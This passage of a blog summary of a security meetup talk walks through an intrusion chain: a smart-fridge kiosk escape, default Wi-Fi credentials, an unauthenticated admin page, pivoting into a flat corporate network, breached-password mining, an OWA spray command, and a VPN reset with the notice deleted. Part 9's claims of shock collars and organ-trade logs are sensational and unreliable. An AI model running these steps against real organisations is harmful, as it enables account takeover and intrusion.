  <text x="700" y="91" text-anchor="middle" class="diagram-text-muted">OWA Spray &amp; MFA 0</text>
  <text x="700" y="107" text-anchor="middle" class="diagram-text-muted">VPN Password Reset</text>
  <text x="700" y="125" text-anchor="middle" class="diagram-text-muted">Camera Feeds</text>
</svg>
<figcaption class="diagram-caption"><strong>Fig 2.1:</strong> Technical workflow of Session 2 covering the Coffee Shop to Corporate Network Attack Path.</figcaption>
</figure>
</div>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-1-the-expanding-iot--automotive-attack-surface">Part 1: The Expanding IoT &amp; Automotive Attack Surface<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-1-the-expanding-iot--automotive-attack-surface" class="hash-link" aria-label="Direct link to Part 1: The Expanding IoT &amp; Automotive Attack Surface" title="Direct link to Part 1: The Expanding IoT &amp; Automotive Attack Surface" translate="no">​</a></h3>
<p>The speaker introduced the concept that modern IoT devices are full-fledged networked computers embedded with sensors, proprietary firmware, and continuous cloud connectivity.</p>
<p>To contextualize the severity of IoT and connected embedded architectures, the speaker highlighted the <strong>Connected Vehicle Attack Surface</strong>, referencing real-world research against modern autonomous and connected vehicles (such as the KIA vehicle vulnerability). In that scenario, security researchers demonstrated that knowing only a vehicle's public <strong>Vehicle Identification Number (VIN)</strong> allowed attackers to query backend telematics web APIs, remotely track live GPS coordinates, unlock vehicle doors, honk horns, and start engines over the internet without requiring physical proximity or access to the key fob.</p>
<p>The same architectural flaws observed in automotive ecosystems, weak API authentication, hardcoded developer credentials, and lack of firmware validation, exist in everyday smart appliances.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-2-the-coffee-shop-attack-scenario--physical-ui-escape">Part 2: The Coffee Shop Attack Scenario &amp; Physical UI Escape<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-2-the-coffee-shop-attack-scenario--physical-ui-escape" class="hash-link" aria-label="Direct link to Part 2: The Coffee Shop Attack Scenario &amp; Physical UI Escape" title="Direct link to Part 2: The Coffee Shop Attack Scenario &amp; Physical UI Escape" translate="no">​</a></h3>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>note</div><div class="admonitionContent_BuS1"><p><strong>Engagement Scenario &amp; Constraints:</strong></p><blockquote>
<p><strong>Environment:</strong> An operator is seated in a ground-floor coffee shop/café shared with upper-floor corporate employees as an auxiliary break room.</p>
</blockquote><blockquote>
<p><strong>Hardware Footprint:</strong> Minimalist setup consisting solely of a standard laptop, no Software-Defined Radios (SDRs), high-gain directional antennas, or physical network taps.</p>
</blockquote></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-physical-footprint--ui-kiosk-escape">1. Physical Footprint &amp; UI Kiosk Escape<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-physical-footprint--ui-kiosk-escape" class="hash-link" aria-label="Direct link to 1. Physical Footprint &amp; UI Kiosk Escape" title="Direct link to 1. Physical Footprint &amp; UI Kiosk Escape" translate="no">​</a></h4>
<p>To identify attack vectors without raising suspicion from café staff or patrons:</p>
<ul>
<li class="">The operator approached the smart refrigerator under the guise of dispensing water from the integrated panel.</li>
<li class=""><strong>Kiosk Mode Bypass:</strong> Modern interactive appliance touchscreens run locked-down Android or embedded Linux user interfaces. The operator performed a <strong>multi-finger long-press gesture (3-finger or 4-finger hold)</strong> on the display.</li>
<li class="">This interaction triggered the underlying operating system's engineering menu, escaping the kiosk environment into standard system settings.</li>
<li class=""><strong>Data Harvested from Screen:</strong> Internal IP address, subnet mask, default gateway, device model number, and the local Wi-Fi configuration.</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-3-osint-ai-assisted-translation--default-developer-credentials">Part 3: OSINT, AI-Assisted Translation &amp; Default Developer Credentials<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-3-osint-ai-assisted-translation--default-developer-credentials" class="hash-link" aria-label="Direct link to Part 3: OSINT, AI-Assisted Translation &amp; Default Developer Credentials" title="Direct link to Part 3: OSINT, AI-Assisted Translation &amp; Default Developer Credentials" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-vendor-reconnaissance">1. Vendor Reconnaissance<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-vendor-reconnaissance" class="hash-link" aria-label="Direct link to 1. Vendor Reconnaissance" title="Direct link to 1. Vendor Reconnaissance" translate="no">​</a></h4>
<ul>
<li class="">Inspecting the device model confirmed the manufacturer was headquartered in China.</li>
<li class="">Standard search queries on English domains (<code>.com</code>) yielded basic promotional brochures and user manuals with no administrative details.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-ai-assisted-foreign-language-intelligence">2. AI-Assisted Foreign Language Intelligence<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#2-ai-assisted-foreign-language-intelligence" class="hash-link" aria-label="Direct link to 2. AI-Assisted Foreign Language Intelligence" title="Direct link to 2. AI-Assisted Foreign Language Intelligence" translate="no">​</a></h4>
<ul>
<li class="">The operator pivoted searches to Chinese domains (<code>.cn</code>), searching for developer documentation, engineering guides, and test specifications.</li>
<li class="">To analyze technical Chinese documentation, the operator utilized language models (Claude and DeepSeek) to translate engineering schematics and developer references.</li>
<li class="">By translating technical terms such as "Default SSID" and "Factory Test Configuration" into Chinese, the operator located an engineering manual containing default Wi-Fi access point patterns:
<ul>
<li class=""><strong>Credential Pattern:</strong> <code>&lt;ModelName&gt;@&lt;LaunchYear&gt;</code></li>
</ul>
</li>
<li class="">Using this pattern, the operator successfully authenticated to the refrigerator's broadcasted Wi-Fi access point.</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-4-device-compromise--unauthenticated-web-interfaces">Part 4: Device Compromise &amp; Unauthenticated Web Interfaces<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-4-device-compromise--unauthenticated-web-interfaces" class="hash-link" aria-label="Direct link to Part 4: Device Compromise &amp; Unauthenticated Web Interfaces" title="Direct link to Part 4: Device Compromise &amp; Unauthenticated Web Interfaces" translate="no">​</a></h3>
<p>Once connected to the appliance's local network:</p>
<ul>
<li class="">An Nmap port scan revealed open services:
<ul>
<li class="">Port <code>22/tcp</code> (SSH)</li>
<li class="">Port <code>80/tcp</code> / <code>8080/tcp</code> (HTTP Management Web Interface)</li>
</ul>
</li>
<li class="">Navigating to <code>http://&lt;Refrigerator_IP&gt;:8080/</code> redirected directly to the internal administrative dashboard without requesting authentication (<code>index.html</code>).</li>
<li class=""><strong>Management Capabilities:</strong>
<ul>
<li class="">Full temperature control and compressor power toggles (Denial of Service).</li>
<li class="">Unauthenticated <strong>Firmware Update / Upload</strong> endpoint.</li>
</ul>
</li>
<li class=""><strong>Firmware Flashing Analysis:</strong> Post-assessment analysis revealed that the device accepted unsigned firmware images over USB or HTTP without cryptographic signature checks, granting unrestricted remote code execution (RCE) and low-level hardware debugging toolkit access (UART/JTAG).</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-5-pivoting-to-the-corporate-network-the-missing-vlan">Part 5: Pivoting to the Corporate Network (The Missing VLAN)<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-5-pivoting-to-the-corporate-network-the-missing-vlan" class="hash-link" aria-label="Direct link to Part 5: Pivoting to the Corporate Network (The Missing VLAN)" title="Direct link to Part 5: Pivoting to the Corporate Network (The Missing VLAN)" translate="no">​</a></h3>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 250" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <marker id="netArrow" viewBox="0 0 10 10" refX="7" refY="5" markerWidth="6" markerHeight="6" orient="auto-start-reverse">
      <path d="M 0 1.5 L 8 5 L 0 8.5 z" fill="#3182ce"></path>
    </marker>
    <marker id="netArrowRed" viewBox="0 0 10 10" refX="7" refY="5" markerWidth="6" markerHeight="6" orient="auto-start-reverse">
      <path d="M 0 1.5 L 8 5 L 0 8.5 z" fill="#e53e3e"></path>
    </marker>
  </defs>
  <rect x="20" y="20" width="220" height="210" rx="10" fill="#f7fafc" stroke="#cbd5e0" stroke-width="1.5"></rect>
  <text x="130" y="45" text-anchor="middle" class="diagram-title">Coffee Shop Breakroom</text>
  <rect x="35" y="60" width="190" height="65" rx="6" fill="#ffffff" stroke="#e2e8f0"></rect>
  <text x="130" y="85" text-anchor="middle" font-family="sans-serif" font-size="12" font-weight="bold" fill="#2d3748">Attacker Laptop</text>
  <text x="130" y="105" text-anchor="middle" class="diagram-text-muted">Wi-Fi Connection</text>
  <rect x="35" y="140" width="190" height="75" rx="6" fill="#feebc8" stroke="#fbd38d"></rect>
  <text x="130" y="165" text-anchor="middle" font-family="sans-serif" font-size="12" font-weight="bold" fill="#c05621">Smart Refrigerator</text>
  <text x="130" y="183" text-anchor="middle" class="diagram-text-muted">Exposed AP &amp; Web UI</text>
  <text x="130" y="200" text-anchor="middle" class="diagram-text-muted">Unauthenticated Firmware</text>
  <rect x="280" y="65" width="180" height="120" rx="8" fill="#fff5f5" stroke="#feb2b2" stroke-width="1.8"></rect>
  <text x="370" y="95" text-anchor="middle" font-family="sans-serif" font-size="12" font-weight="bold" fill="#c53030">Shared Corporate Switch</text>
  <text x="370" y="120" text-anchor="middle" font-family="sans-serif" font-size="11" fill="#e53e3e">✕ NO VLAN Isolation</text>
  <text x="370" y="140" text-anchor="middle" class="diagram-text-muted">(Cost &amp; NOC Shortcut)</text>
  <text x="370" y="160" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#2b6cb0">Flat /24 Subnet</text>
  <rect x="500" y="20" width="260" height="210" rx="10" fill="#ebf8ff" stroke="#bee3f8" stroke-width="1.5"></rect>
  <text x="630" y="45" text-anchor="middle" class="diagram-title">Corporate Network</text>
  <rect x="515" y="60" width="230" height="48" rx="6" fill="#ffffff" stroke="#bee3f8"></rect>
  <text x="630" y="82" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#2c5282">30+ Enterprise Workstations</text>
  <text x="630" y="98" text-anchor="middle" class="diagram-text-muted">Active Directory Domain Joined</text>
  <rect x="515" y="115" width="230" height="48" rx="6" fill="#ffffff" stroke="#bee3f8"></rect>
  <text x="630" y="137" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#2c5282">5 Network Printers</text>
  <text x="630" y="153" text-anchor="middle" class="diagram-text-muted">Unauthenticated Bulk Printing</text>
  <rect x="515" y="170" width="230" height="48" rx="6" fill="#ffffff" stroke="#bee3f8"></rect>
  <text x="630" y="192" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#2c5282">Exchange / OWA Gateways</text>
  <text x="630" y="208" text-anchor="middle" class="diagram-text-muted">mail.corporate.com / VPN</text>
  <line x1="225" y1="175" x2="272" y2="125" stroke="#e53e3e" stroke-width="1.8" marker-end="url(#netArrowRed)"></line>
  <line x1="460" y1="125" x2="492" y2="125" stroke="#3182ce" stroke-width="1.8" marker-end="url(#netArrow)"></line>
</svg>
<figcaption class="diagram-caption"><strong>Fig 2.2:</strong> The Missing VLAN Architecture. The smart refrigerator bridged the untrusted physical café directly into the internal corporate network.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-architectural-failure-lack-of-network-segmentation">1. Architectural Failure: Lack of Network Segmentation<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-architectural-failure-lack-of-network-segmentation" class="hash-link" aria-label="Direct link to 1. Architectural Failure: Lack of Network Segmentation" title="Direct link to 1. Architectural Failure: Lack of Network Segmentation" translate="no">​</a></h4>
<p>The café was located directly beneath a corporate office and served as an employee break room. To avoid Network Operations Center (NOC) overhead, device registration costs, and separate VLAN provisioning, network administrators had connected the smart refrigerator directly to the <strong>primary corporate subnet</strong>.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-subnet-discovery">2. Subnet Discovery<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#2-subnet-discovery" class="hash-link" aria-label="Direct link to 2. Subnet Discovery" title="Direct link to 2. Subnet Discovery" translate="no">​</a></h4>
<p>Using tools such as <code>nmap</code> and <code>Angry IP Scanner</code>, the operator enumerated the local <code>/24</code> subnet:</p>
<ul>
<li class=""><strong>Discovered Assets:</strong>
<ul>
<li class=""><strong>30+ Enterprise Workstations:</strong> Active Directory domain-joined machines exposing NetBIOS/SMB names indicating employee workstations and departmental groups.</li>
<li class=""><strong>5 Enterprise Network Printers:</strong> Exposing unauthenticated management dashboards with bulk print capabilities (uploading arbitrary documents or initiating denial-of-service paper feed loops).</li>
</ul>
</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-6-external-osint-breached-credential-mining--account-validation">Part 6: External OSINT, Breached Credential Mining &amp; Account Validation<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-6-external-osint-breached-credential-mining--account-validation" class="hash-link" aria-label="Direct link to Part 6: External OSINT, Breached Credential Mining &amp; Account Validation" title="Direct link to Part 6: External OSINT, Breached Credential Mining &amp; Account Validation" translate="no">​</a></h3>
<p>Having identified the target corporate domain name from workstation NetBIOS responses, the operator initiated external reconnaissance:</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-email-harvesting-via-phonebookcz">1. Email Harvesting via Phonebook.cz<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-email-harvesting-via-phonebookcz" class="hash-link" aria-label="Direct link to 1. Email Harvesting via Phonebook.cz" title="Direct link to 1. Email Harvesting via Phonebook.cz" translate="no">​</a></h4>
<ul>
<li class="">Searched the target corporate domain on <strong>Phonebook.cz</strong> (which indexes billions of public breach records, URLs, and email addresses).</li>
<li class="">Retrieved dozens of corporate email addresses belonging to active employees.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-cleartext-password-mining-via-dehashed">2. Cleartext Password Mining via DeHashed<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#2-cleartext-password-mining-via-dehashed" class="hash-link" aria-label="Direct link to 2. Cleartext Password Mining via DeHashed" title="Direct link to 2. Cleartext Password Mining via DeHashed" translate="no">​</a></h4>
<ul>
<li class="">The operator leveraged the <strong>DeHashed</strong> database via an automated Python wrapper (<code>dehashed.py</code>) and <strong>Leak-Lookup</strong> to cross-reference the harvested email list against historical public breaches.</li>
<li class=""><strong>Findings:</strong> Multiple cleartext passwords exposed from third-party non-work services (e.g., flight booking websites, hotel loyalty rewards, and personal accounts where employees registered using their corporate email addresses).</li>
<li class=""><strong>Password Patterns:</strong> Predictable enterprise structures (e.g., <code>Company@2026!</code>, <code>Google@2026!</code>, <code>Summer2026#</code>) rotated quarterly.</li>
<li class="">Deduplicating and filtering yielded 30 unique employee email addresses and 25 candidate passwords.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-username-validation--domain-enumeration">3. Username Validation &amp; Domain Enumeration<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#3-username-validation--domain-enumeration" class="hash-link" aria-label="Direct link to 3. Username Validation &amp; Domain Enumeration" title="Direct link to 3. Username Validation &amp; Domain Enumeration" translate="no">​</a></h4>
<p>To avoid triggering account lockouts by blindly spraying unverified users:</p>
<ul>
<li class="">The operator used <strong><code>msmailprobe</code></strong> and <strong><code>Invoke-UsernameHarvestOWA</code></strong> / <strong><code>TraverseSpray</code></strong> against Microsoft 365 / Exchange Web Services (EWS) endpoints.</li>
<li class="">By analyzing server timing responses and metadata validation, the operator confirmed <strong>6 active corporate accounts</strong> associated with the target domain.</li>
</ul>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token plain"># Validating harvested accounts against Exchange / OWA endpoints without triggering lockouts</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">Invoke-UsernameHarvestOWA -ExchHostname mail.&lt;target_domain&gt;.com -UserList .\users.txt -Threads 3 -OutFile validated.users.txt</span><br></div></code></pre></div></div>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-7-email-account-takeover--password-spraying">Part 7: Email Account Takeover &amp; Password Spraying<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-7-email-account-takeover--password-spraying" class="hash-link" aria-label="Direct link to Part 7: Email Account Takeover &amp; Password Spraying" title="Direct link to Part 7: Email Account Takeover &amp; Password Spraying" translate="no">​</a></h3>
<p>With 6 validated usernames and candidate passwords:</p>
<ul>
<li class="">The operator executed a slow password spray against the Outlook Web Access (OWA) portal using <code>Invoke-PasswordSprayOWA</code>:
<ul>
<li class="">Enforced a 10-minute sleep interval between attempts with randomized jitter to stay beneath account lockout thresholds.</li>
</ul>
</li>
<li class=""><strong>Success:</strong> Authenticated successfully into an active employee mailbox.</li>
</ul>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>note</div><div class="admonitionContent_BuS1"><p><strong>Target Authentication Status &amp; Security Gaps:</strong></p><blockquote>
<p><strong>Target Environment:</strong> Microsoft 365 Outlook Web Access (<code>https://mail.&lt;target_domain&gt;.com/owa/</code>)<br>
<strong>Authentication Status:</strong> Successful takeover of employee domain account.<br>
<strong>Critical Vulnerability 1:</strong> <strong>No Multi-Factor Authentication (MFA)</strong> was enforced for this account.<br>
<strong>Critical Vulnerability 2:</strong> Account status was marked <strong>"Out of Office" (OOO / Vacation)</strong>, minimizing risk of concurrent session alerts.</p>
</blockquote></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="stealthy-email-reconnaissance">Stealthy Email Reconnaissance<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#stealthy-email-reconnaissance" class="hash-link" aria-label="Direct link to Stealthy Email Reconnaissance" title="Direct link to Stealthy Email Reconnaissance" translate="no">​</a></h4>
<p>To avoid triggering endpoint DLP or SOC file-download alerts:</p>
<ul>
<li class="">The operator reviewed messages exclusively through OWA's <strong>web preview mode</strong>.</li>
<li class="">The mailbox contained internal communications, client spreadsheets, and technical onboarding messages.</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-8-corporate-vpn-gateway-compromise">Part 8: Corporate VPN Gateway Compromise<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-8-corporate-vpn-gateway-compromise" class="hash-link" aria-label="Direct link to Part 8: Corporate VPN Gateway Compromise" title="Direct link to Part 8: Corporate VPN Gateway Compromise" translate="no">​</a></h3>
<p>Inside the compromised mailbox, the operator discovered a recent email sent from an encrypted ProtonMail address containing VPN onboarding credentials:</p>
<ul>
<li class=""><strong>VPN Password Reset Interception:</strong>
<ol>
<li class="">The operator navigated to the corporate <strong>Palo Alto GlobalProtect VPN</strong> portal.</li>
<li class="">Initiated a "Forgot Password" self-service reset for the compromised employee email.</li>
<li class="">The time-sensitive One-Time Passcode (OTP) was delivered directly into the compromised Outlook inbox.</li>
<li class="">The operator completed verification, established a new VPN password, and deleted the password-reset notification email to maintain persistence.</li>
</ol>
</li>
<li class=""><strong>Internal Network Access:</strong> Authenticated to the corporate network through the GlobalProtect VPN client.</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-9-surveillance-infrastructure-discovery--critical-intelligence">Part 9: Surveillance Infrastructure Discovery &amp; Critical Intelligence<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-9-surveillance-infrastructure-discovery--critical-intelligence" class="hash-link" aria-label="Direct link to Part 9: Surveillance Infrastructure Discovery &amp; Critical Intelligence" title="Direct link to Part 9: Surveillance Infrastructure Discovery &amp; Critical Intelligence" translate="no">​</a></h3>
<p>Operating from inside the corporate internal network via the VPN tunnel, the operator conducted subnet discovery:</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-video-management-system-vms-access">1. Video Management System (VMS) Access<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-video-management-system-vms-access" class="hash-link" aria-label="Direct link to 1. Video Management System (VMS) Access" title="Direct link to 1. Video Management System (VMS) Access" translate="no">​</a></h4>
<ul>
<li class="">Located exposed internal surveillance servers running <strong>Milestone / Camera XP IP Camera</strong> systems with default/weak credentials.</li>
<li class="">Gained access to live video surveillance feeds across multiple operational zones:
<ul>
<li class="">Main floor cameras</li>
<li class="">VIP gaming areas (Blackjack, High-Limit tables, Roulette)</li>
</ul>
</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-underground-operations-discovered">2. Underground Operations Discovered<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#2-underground-operations-discovered" class="hash-link" aria-label="Direct link to 2. Underground Operations Discovered" title="Direct link to 2. Underground Operations Discovered" translate="no">​</a></h4>
<ul>
<li class="">Deeper reconnaissance of connected internal management applications uncovered live streaming of illicit Russian Roulette competitions (displaying prize boards structured at <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi>M</mi><mo separator="true">,</mo></mrow><annotation encoding="application/x-tex">1M, </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em"></span><span class="mord">1</span><span class="mord mathnormal" style="margin-right:0.109em">M</span><span class="mpunct">,</span></span></span></span>20M, and $60M tiers).</li>
<li class="">Internal database records revealed tracking telemetry for physical shock collars, matching profiles of individuals cataloged in public missing persons databases.</li>
<li class="">Exposed administrative documents recorded falsified hospital records and unauthorized post-mortem organ trade logs.</li>
<li class="">The operator immediately halted assessment activities, documented forensic artifacts, and escalated the findings to authorized legal and investigative authorities.</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="part-10-threat-modeling-opsec--defensive-lessons">Part 10: Threat Modeling, OPSEC &amp; Defensive Lessons<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#part-10-threat-modeling-opsec--defensive-lessons" class="hash-link" aria-label="Direct link to Part 10: Threat Modeling, OPSEC &amp; Defensive Lessons" title="Direct link to Part 10: Threat Modeling, OPSEC &amp; Defensive Lessons" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-threat-modeling-with-the-stride-framework">1. Threat Modeling with the STRIDE Framework<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#1-threat-modeling-with-the-stride-framework" class="hash-link" aria-label="Direct link to 1. Threat Modeling with the STRIDE Framework" title="Direct link to 1. Threat Modeling with the STRIDE Framework" translate="no">​</a></h4>
<p>The session highlighted that structured threat modeling must always precede technical testing:</p>








































<table><thead><tr><th>STRIDE Category</th><th>Description</th><th>IoT / Refrigerator Scenario Mapping</th></tr></thead><tbody><tr><td><strong>Spoofing</strong></td><td>Impersonating an identity or device</td><td>Connecting to Wi-Fi using hardcoded developer credentials; MAC spoofing</td></tr><tr><td><strong>Tampering</strong></td><td>Modifying data in transit or memory</td><td>Unauthenticated firmware flashing; altering temperature settings</td></tr><tr><td><strong>Repudiation</strong></td><td>Denying performed actions</td><td>Lack of audit logging on embedded appliance endpoints</td></tr><tr><td><strong>Information Disclosure</strong></td><td>Exposing sensitive data</td><td>Leaking corporate subnets; cleartext password exposure via DeHashed</td></tr><tr><td><strong>Denial of Service</strong></td><td>Disrupting service availability</td><td>Shutting down refrigerator compressors; printer paper flood attacks</td></tr><tr><td><strong>Elevation of Privilege</strong></td><td>Gaining unauthorized access</td><td>Escaping touch panel kiosk mode; resetting corporate VPN passwords</td></tr></tbody></table>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 260" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <linearGradient id="triGradTop" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" stop-color="#3182ce"></stop>
      <stop offset="100%" stop-color="#2b6cb0"></stop>
    </linearGradient>
    <linearGradient id="triGradBase" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" stop-color="#ebf8ff"></stop>
      <stop offset="100%" stop-color="#bee3f8"></stop>
    </linearGradient>
  </defs>
  <rect x="20" y="15" width="740" height="230" rx="12" fill="#f7fafc" stroke="#e2e8f0" stroke-width="1.5"></rect>
  <polygon points="390,30 270,140 510,140" fill="url(#triGradTop)" stroke="#2b6cb0" stroke-width="2"></polygon>
  <text x="390" y="85" text-anchor="middle" font-family="sans-serif" font-size="14" font-weight="bold" fill="#ffffff">INTEGRITY (I)</text>
  <text x="390" y="105" text-anchor="middle" font-family="sans-serif" font-size="11" fill="#e2e8f0">The Bedrock of Trust</text>
  <text x="390" y="125" text-anchor="middle" font-family="sans-serif" font-size="10" fill="#bee3f8">Firmware • Memory • Signatures</text>
  <polygon points="270,140 150,225 390,225" fill="url(#triGradBase)" stroke="#3182ce" stroke-width="1.5"></polygon>
  <text x="270" y="180" text-anchor="middle" font-family="sans-serif" font-size="13" font-weight="bold" fill="#2c5282">CONFIDENTIALITY (C)</text>
  <text x="270" y="200" text-anchor="middle" class="diagram-text-muted">Credential &amp; Data Protection</text>
  <polygon points="510,140 390,225 630,225" fill="url(#triGradBase)" stroke="#3182ce" stroke-width="1.5"></polygon>
  <text x="510" y="180" text-anchor="middle" font-family="sans-serif" font-size="13" font-weight="bold" fill="#2c5282">AVAILABILITY (A)</text>
  <text x="510" y="200" text-anchor="middle" class="diagram-text-muted">Operational Continuity</text>
  <rect x="40" y="45" width="190" height="70" rx="6" fill="#fff5f5" stroke="#feb2b2"></rect>
  <text x="135" y="70" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#c53030">If INTEGRITY Fails:</text>
  <text x="135" y="88" text-anchor="middle" font-family="sans-serif" font-size="10" fill="#e53e3e">• Firmware is backdoored</text>
  <text x="135" y="102" text-anchor="middle" font-family="sans-serif" font-size="10" fill="#e53e3e">• Memory structs manipulated</text>
  <rect x="550" y="45" width="190" height="70" rx="6" fill="#fff5f5" stroke="#feb2b2"></rect>
  <text x="645" y="70" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#c53030">Cascade Consequence:</text>
  <text x="645" y="88" text-anchor="middle" font-family="sans-serif" font-size="10" fill="#e53e3e">• Confidentiality Leaks (PPL strip)</text>
  <text x="645" y="102" text-anchor="middle" font-family="sans-serif" font-size="10" fill="#e53e3e">• Availability Outages (BSOD/DoS)</text>
</svg>
<figcaption class="diagram-caption"><strong>Fig 2.3:</strong> The CIA Triad Hierarchy. Integrity is the foundational pillar; if Integrity collapses, Confidentiality and Availability fail.</figcaption>
</figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-operational-security-opsec-pitfalls">2. Operational Security (OPSEC) Pitfalls<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#2-operational-security-opsec-pitfalls" class="hash-link" aria-label="Direct link to 2. Operational Security (OPSEC) Pitfalls" title="Direct link to 2. Operational Security (OPSEC) Pitfalls" translate="no">​</a></h4>
<ul>
<li class=""><strong>Browser Maximization Fingerprinting:</strong> Maximizing Tor Browser or privacy browsers leaks exact desktop display dimensions and monitor aspect ratios, enabling canvas and viewport fingerprinting across web sessions.</li>
<li class=""><strong>ISP-Level Monitoring:</strong> Tor traffic entry and exit nodes remain visible to Internet Service Providers without dedicated encrypted encapsulation.</li>
</ul>
